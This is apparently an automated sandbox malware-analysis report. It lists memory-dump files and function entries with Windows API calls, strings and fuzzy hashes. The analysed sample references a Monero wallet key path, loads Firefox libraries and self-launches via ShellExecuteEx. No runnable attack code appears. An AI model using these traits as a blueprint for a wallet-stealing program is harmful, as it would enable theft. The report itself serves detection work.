Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: a27e423f8e3508c18aaf7fc6e54c14fa96d2e1075b70a587e8917e9ecf7ba1c2
Instruction ID: 4be8919c238933804c150af137909a017e0aa2933043bb1b99c18a6cb0dd878e
Opcode Fuzzy Hash: a27e423f8e3508c18aaf7fc6e54c14fa96d2e1075b70a587e8917e9ecf7ba1c2
Instruction Fuzzy Hash: A6615070A50208EFEF18EFA4DC9AFED77B5AF40340F408518F9095B191EB786A05CB92

Function 6C621530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C62159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C6215BC
moz_xmalloc.MOZGLUE(-00000001,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C6215E7
free.MOZGLUE(?,?,?,?,?,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C621606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C62152B,?,?,?,?,6C621248,?), ref: 6C621637

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: a7d551ffe0fb66af48b2bae48838ad90340cb52863ac27eb83f8fdfab83986d9
Instruction ID: 6d3eec2803160f02e85b2ef5fab9ef7105039517afe2d3eab1bf5ad0e963296d
Opcode Fuzzy Hash: a7d551ffe0fb66af48b2bae48838ad90340cb52863ac27eb83f8fdfab83986d9
Instruction Fuzzy Hash: 4B310AB29041149BC7148E78D8508AE73E5BB823647240B6DE823EBBD4EB35DD058B99

Function 6C67AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AD9D

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AE01
GetLastError.KERNEL32(?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AE3D

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 509e64455247f9c752efe43af7e8080d75e8272db334cd80f73d681f99e6828e
Instruction ID: 58838283dbe3ff5b849e546592bc6ac2a04a9a02c5d7cd2a5597f672179a1bdf
Opcode Fuzzy Hash: 509e64455247f9c752efe43af7e8080d75e8272db334cd80f73d681f99e6828e
Instruction Fuzzy Hash: 81314FB1A012159FDB10DF7A8C44AABB7F8EF49714F158829E94AD7700E734D805CBB8

Function 6C61B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C61B532
moz_xmalloc.MOZGLUE(?), ref: 6C61B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C61B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C61B57E
free.MOZGLUE(00000000), ref: 6C61B58F

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 1e31930bcbbb6abd3c654ae561189dd802c480d01b856cfa52694dd5ca6974f6
Instruction ID: 649ed40a4f0d95de83057be5eaec5756455de06db630c1ca421b1329c93e1ca3
Opcode Fuzzy Hash: 1e31930bcbbb6abd3c654ae561189dd802c480d01b856cfa52694dd5ca6974f6
Instruction Fuzzy Hash: 582129B1A042059BDB00CF69CC80BAEBBB9FF82305F284129E919DB741F776D911C7A5

Function 00789260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(014BDCB8,?,?,?,0078140C,?,014BDCB8,00000000), ref: 0078926C
lstrcpyn.KERNEL32(009BAB88,014BDCB8,014BDCB8,?,0078140C,?,014BDCB8), ref: 00789290
lstrlen.KERNEL32(?,?,0078140C,?,014BDCB8), ref: 007892A7
wsprintfA.USER32 ref: 007892C7

Strings

%s%s, xrefs: 007892B5

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: a2a77badfc7a8d30750a3d5600a0b8dadd93a99ad19c0e8e674f2cb263d302d0
Instruction ID: 3e02803a96d52c07fad25124d21867b1a065b82d80f71ac566a3c536f5ee67b7
Opcode Fuzzy Hash: a2a77badfc7a8d30750a3d5600a0b8dadd93a99ad19c0e8e674f2cb263d302d0
Instruction Fuzzy Hash: 5D01DE75514208FFCB04DFECDA98EAE7BB9FB44374F148248F9199B204C635AA40DB91

Function 6C650D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C613DEF), ref: 6C650D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C613DEF), ref: 6C650D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C613DEF), ref: 6C650DAF

Strings

<jemalloc>, xrefs: 6C650D92, 6C650DB9
: (malloc) Error in VirtualFree(), xrefs: 6C650D97, 6C650DBE

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 7b6129d98eacd45a529c948f3b846d8964b7ae5b2fce609884b6830c87b89264
Instruction ID: 755b54d9c84d5c89c3df41f1166838b4269c45a10cee0e87f5eb5e165a536f4f
Opcode Fuzzy Hash: 7b6129d98eacd45a529c948f3b846d8964b7ae5b2fce609884b6830c87b89264
Instruction Fuzzy Hash: 97F02E7238039623E7302D670D0AF6A269D6BC2F6DF704135F615DEDC0DA90E41086AD

Function 6C63D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

EnterCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D4F2
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D50B

Part of subcall function 6C61CFE0: EnterCriticalSection.KERNEL32(6C69E784), ref: 6C61CFF6
Part of subcall function 6C61CFE0: LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C61D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D52E
EnterCriticalSection.KERNEL32(6C69E7DC), ref: 6C63D690
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D751

Strings

MOZ_CRASH(), xrefs: 6C63D4BB

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: afdcec7461a94e1d0c35e60291940049f4eb3a6d42e592e03ce15ca020616433
Instruction ID: e72e440dbeb422350e8f76b9067ec7abdc0efd5800c831b9350d1e39d9196826
Opcode Fuzzy Hash: afdcec7461a94e1d0c35e60291940049f4eb3a6d42e592e03ce15ca020616433
Instruction Fuzzy Hash: D2510471A047128FD354CF29C09471AB7F1FB8A704F25992EE5AAC7B84D770E804CB9A

Function 0078C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0078C8EC
___crtLCMapStringA.LIBCMT ref: 0078C90C
___crtLCMapStringA.LIBCMT ref: 0078C931

Strings

, xrefs: 0078C896

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: b557afa96c011253bf73b1bd3d2dcc6b16c41eb1eb5c724113110e8f920a0950
Instruction ID: 39797c7cc8fe75818b64a552a4a5d5edac34ded9dc7005a3768be6d3ac8820c3
Opcode Fuzzy Hash: b557afa96c011253bf73b1bd3d2dcc6b16c41eb1eb5c724113110e8f920a0950
Instruction Fuzzy Hash: 414109B154075C9EDB329B24CD85FFB7BEC9F45704F1444E8E58A86182E279AA44CF30

Function 6C66B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C614290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C653EBD,6C653EBD,00000000), ref: 6C6142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C66B127), ref: 6C66B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C66B4E4

Strings

pid:, xrefs: 6C66B4DE

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: b1cd0d1504868f80283dcf09e09ca6b545705502050f672a1db877aa7d11a70a
Instruction ID: 5dd748cc57223e5ae9be5c713b51544f81c53990ab0df32ed2d8575ac00da447
Opcode Fuzzy Hash: b1cd0d1504868f80283dcf09e09ca6b545705502050f672a1db877aa7d11a70a
Instruction Fuzzy Hash: 9F312731A01205DBDB00DFAAD880AEEB7B5FFC5308F540529E80167E41D732E845DBEA

Function 00786630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00786663

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

ShellExecuteEx.SHELL32(0000003C), ref: 00786726
ExitProcess.KERNEL32 ref: 00786755

Strings

<, xrefs: 007866D9

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 3fb4e3130eb49895ba63e030b0c56c940bb123f1d72f5f6fd49577ee4de90cdd
Instruction ID: f34d90a7d5efa593248a2da8065e802fc772ec5beb6c4c3f18cdc6d2253ad924
Opcode Fuzzy Hash: 3fb4e3130eb49895ba63e030b0c56c940bb123f1d72f5f6fd49577ee4de90cdd
Instruction Fuzzy Hash: CA314BB1C51218EAEB14FB90DD9ABDEB77CAF04300F804199F20966191DF786B49CF66

Function 007887C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00790E28,00000000,?), ref: 0078882F
RtlAllocateHeap.NTDLL(00000000), ref: 00788836
wsprintfA.USER32 ref: 00788850

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Strings

%dx%d, xrefs: 00788847

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: a4b443ea211c0c8761cf6d04468d6941ed9565cd0ba9ee369a20ed6eabe67d85
Instruction ID: 13f064b08b9b7fc817777cd1b0512c20ed544e6c503a5214593c03a1e5057066
